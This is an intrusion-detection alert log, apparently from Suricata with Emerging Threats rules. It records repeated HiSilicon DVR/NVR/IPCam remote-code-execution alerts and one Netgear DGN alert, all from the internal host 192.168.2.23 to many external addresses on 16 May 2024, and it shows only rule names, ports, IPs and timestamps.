SID:	2030487
Source Port:	56558
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.156.206.81

Timestamp:	05/16/24-16:39:14.514864
SID:	2030488
Source Port:	52698
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.92.34.38

Timestamp:	05/16/24-16:38:55.175100
SID:	2030487
Source Port:	46466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.92.34.38

Timestamp:	05/16/24-16:38:55.175100
SID:	2030488
Source Port:	46466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.129.72.226

Timestamp:	05/16/24-16:39:14.492383
SID:	2030488
Source Port:	53654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.107.244.135

Timestamp:	05/16/24-16:39:05.714930
SID:	2030487
Source Port:	53162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.107.244.135

Timestamp:	05/16/24-16:39:05.714930
SID:	2030488
Source Port:	53162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.129.72.226

Timestamp:	05/16/24-16:39:14.492383
SID:	2030487
Source Port:	53654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 34.80.139.133

Timestamp:	05/16/24-16:39:05.708222
SID:	2030487
Source Port:	35066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 34.80.139.133

Timestamp:	05/16/24-16:39:05.708222
SID:	2030488
Source Port:	35066
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.51.159.169

Timestamp:	05/16/24-16:39:12.377541
SID:	2030487
Source Port:	45316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.51.159.169

Timestamp:	05/16/24-16:39:12.377541
SID:	2030488
Source Port:	45316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 119.61.39.176

Timestamp:	05/16/24-16:38:49.306027
SID:	2034576
Source Port:	47404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.202.247.120

Timestamp:	05/16/24-16:39:02.746756
SID:	2030488
Source Port:	49964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.202.247.120

Timestamp:	05/16/24-16:39:02.746756
SID:	2030487
Source Port:	49964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.99.187.56

Timestamp:	05/16/24-16:38:57.409019
SID:	2030488
Source Port:	46682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.99.187.56

Timestamp:	05/16/24-16:38:57.409019
SID:	2030487
Source Port:	46682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.108.249.238

Timestamp:	05/16/24-16:39:16.609800
SID:	2030488
Source Port:	59326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 145.47.191.215

Timestamp:	05/16/24-16:39:14.520155
SID:	2030488
Source Port:	60040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.47.191.215

Timestamp:	05/16/24-16:39:14.520155
SID:	2030487
Source Port:	60040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 208.69.26.179

Timestamp:	05/16/24-16:39:03.262305
SID:	2030487
Source Port:	60630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.12.31.118

Timestamp:	05/16/24-16:39:08.124537
SID:	2030487
Source Port:	58414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.53.116.151

Timestamp:	05/16/24-16:39:12.401791
SID:	2030488
Source Port:	43096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 208.69.26.179

Timestamp:	05/16/24-16:39:03.262305
SID:	2030488
Source Port:	60630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.12.31.118

Timestamp:	05/16/24-16:39:08.124537
SID:	2030488
Source Port:	58414
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.32.33.30

Timestamp:	05/16/24-16:38:53.011372
SID:	2030488
Source Port:	57766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.32.33.30

Timestamp:	05/16/24-16:38:53.011372
SID:	2030487
Source Port:	57766
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.53.116.151

Timestamp:	05/16/24-16:39:12.401791
SID:	2030487
Source Port:	43096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.239.71.49

Timestamp:	05/16/24-16:38:50.063956
SID:	2030488
Source Port:	53892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.79.9.23

Timestamp:	05/16/24-16:39:12.384446
SID:	2030487
Source Port:	57134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.239.71.49

Timestamp:	05/16/24-16:38:50.063956
SID:	2030487
Source Port:	53892
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.79.9.23

Timestamp:	05/16/24-16:39:12.384446
SID:	2030488
Source Port:	57134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.236.208.74

Timestamp:	05/16/24-16:38:50.075703
SID:	2030487
Source Port:	38638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.236.208.74

Timestamp:	05/16/24-16:38:50.075703
SID:	2030488
Source Port:	38638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.14.253.100

Timestamp:	05/16/24-16:39:03.262296
SID:	2030488
Source Port:	50884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.14.253.100

Timestamp:	05/16/24-16:39:03.262296
SID:	2030487
Source Port:	50884
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.230.82.167

Timestamp:	05/16/24-16:39:12.295334
SID:	2030488
Source Port:	54924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.195.131.0

Timestamp:	05/16/24-16:39:14.530314
SID:	2030487
Source Port:	59416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.230.82.167

Timestamp:	05/16/24-16:39:12.295334
SID:	2030487
Source Port:	54924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.195.131.0

Timestamp:	05/16/24-16:39:14.530314
SID:	2030488
Source Port:	59416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.108.249.238

Timestamp:	05/16/24-16:39:16.609800
SID:	2030487
Source Port:	59326
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 129.98.177.231

Timestamp:	05/16/24-16:39:05.698714
SID:	2030488
Source Port:	54448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.50.135.26

Timestamp:	05/16/24-16:39:16.604440
SID:	2030487
Source Port:	60338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 129.98.177.231

Timestamp:	05/16/24-16:39:05.698714
SID:	2030487
Source Port:	54448
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.50.135.26

Timestamp:	05/16/24-16:39:16.604440
SID:	2030488
Source Port:	60338
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.190.67.202

Timestamp:	05/16/24-16:38:57.407570
SID:	2030487
Source Port:	42770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.190.67.202

Timestamp:	05/16/24-16:38:57.407570
SID:	2030488
Source Port:	42770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.36.128.134

Timestamp:	05/16/24-16:39:16.582440
SID:	2030488
Source Port:	56084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.36.128.134

Timestamp:	05/16/24-16:39:16.582440
SID:	2030487
Source Port:	56084
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.143.130.237

Timestamp:	05/16/24-16:38:55.210423
SID:	2030487
Source Port:	48018
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.143.130.237

Timestamp:	05/16/24-16:38:55.210423
SID:	2030488
Source Port:	48018
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.94.125.163

Timestamp:	05/16/24-16:39:05.705355
SID:	2030488
Source Port:	55400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.94.125.163

Timestamp:	05/16/24-16:39:05.705355
SID:	2030487
Source Port:	55400
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.74.48.208

Timestamp:	05/16/24-16:39:08.149413
SID:	2030488
Source Port:	51770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.74.48.208

Timestamp:	05/16/24-16:39:08.149413
SID:	2030487
Source Port:	51770
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.166.29.89

Timestamp:	05/16/24-16:38:50.068917
SID:	2030488
Source Port:	57094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.211.241.107

Timestamp:	05/16/24-16:39:16.599013
SID:	2030488
Source Port:	53024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.166.29.89

Timestamp:	05/16/24-16:38:50.068917
SID:	2030487
Source Port:	57094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.211.241.107

Timestamp:	05/16/24-16:39:16.599013
SID:	2030487
Source Port:	53024
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.11.115.34

Timestamp:	05/16/24-16:39:14.525604
SID:	2030487
Source Port:	55876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.11.115.34

Timestamp:	05/16/24-16:39:14.525604
SID:	2030488
Source Port:	55876
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.185.187.117

Timestamp:	05/16/24-16:38:55.204608
SID:	2030488
Source Port:	54404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.185.187.117

Timestamp:	05/16/24-16:38:55.204608
SID:	2030487
Source Port:	54404
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.75.99.26

Timestamp:	05/16/24-16:39:08.126405
SID:	2030487
Source Port:	51608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.197.251.3

Timestamp:	05/16/24-16:39:05.717197
SID:	2030488
Source Port:	36058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.75.99.26

Timestamp:	05/16/24-16:39:08.126405
SID:	2030488
Source Port:	51608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.197.251.3

Timestamp:	05/16/24-16:39:05.717197
SID:	2030487
Source Port:	36058
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 1.164.253.199

Timestamp:	05/16/24-16:39:14.491101
SID:	2030488
Source Port:	58302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 1.164.253.199

Timestamp:	05/16/24-16:39:14.491101
SID:	2030487
Source Port:	58302
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.171.89.37

Timestamp:	05/16/24-16:39:05.675816
SID:	2030487
Source Port:	45812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.171.89.37

Timestamp:	05/16/24-16:39:05.675816
SID:	2030488
Source Port:	45812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.22.185.4

Timestamp:	05/16/24-16:38:57.305716
SID:	2030487
Source Port:	57586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.134.208.17

Timestamp:	05/16/24-16:39:08.041754
SID:	2030488
Source Port:	52226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.22.185.4

Timestamp:	05/16/24-16:38:57.305716
SID:	2030488
Source Port:	57586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.162.249.118

Timestamp:	05/16/24-16:38:55.227481
SID:	2030487
Source Port:	44114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.134.208.17

Timestamp:	05/16/24-16:39:08.041754
SID:	2030487
Source Port:	52226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.166.65.53

Timestamp:	05/16/24-16:38:53.094014
SID:	2030487
Source Port:	58704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.162.249.118

Timestamp:	05/16/24-16:38:55.227481
SID:	2030488
Source Port:	44114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.166.65.53

Timestamp:	05/16/24-16:38:53.094014
SID:	2030488
Source Port:	58704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.112.252.115

Timestamp:	05/16/24-16:39:16.615053
SID:	2030487
Source Port:	49754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.112.252.115

Timestamp:	05/16/24-16:39:16.615053
SID:	2030488
Source Port:	49754
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.1.202.192

Timestamp:	05/16/24-16:39:12.377458
SID:	2030488
Source Port:	36178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.1.202.192

Timestamp:	05/16/24-16:39:12.377458
SID:	2030487
Source Port:	36178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.242.240.180

Timestamp:	05/16/24-16:39:08.092917
SID:	2030487
Source Port:	43292
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.173.118.217

Timestamp:	05/16/24-16:39:08.045021
SID:	2030488
Source Port:	57690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.173.118.217

Timestamp:	05/16/24-16:39:08.045021
SID:	2030487
Source Port:	57690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.82.54.74

Timestamp:	05/16/24-16:38:55.213081
SID:	2030487
Source Port:	58908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.238.181.12

Timestamp:	05/16/24-16:38:55.221753
SID:	2030487
Source Port:	44682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.118.172.166

Timestamp:	05/16/24-16:39:03.277940
SID:	2030487
Source Port:	43972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.204.112.4

Timestamp:	05/16/24-16:39:12.401769
SID:	2030487
Source Port:	39334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.82.54.74

Timestamp:	05/16/24-16:38:55.213081
SID:	2030488
Source Port:	58908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.238.181.12

Timestamp:	05/16/24-16:38:55.221753
SID:	2030488
Source Port:	44682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.118.172.166

Timestamp:	05/16/24-16:39:03.277940
SID:	2030488
Source Port:	43972
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.204.112.4

Timestamp:	05/16/24-16:39:12.401769
SID:	2030488
Source Port:	39334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 162.40.91.178

Timestamp:	05/16/24-16:38:59.584462
SID:	2030487
Source Port:	34082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.102.19.254

Timestamp:	05/16/24-16:39:14.507232
SID:	2030487
Source Port:	59716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.102.19.254

Timestamp:	05/16/24-16:39:14.507232
SID:	2030488
Source Port:	59716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.242.240.180

Timestamp:	05/16/24-16:39:08.092917
SID:	2030488
Source Port:	43292
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.201.188.83

Timestamp:	05/16/24-16:38:57.448957
SID:	2030487
Source Port:	33140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

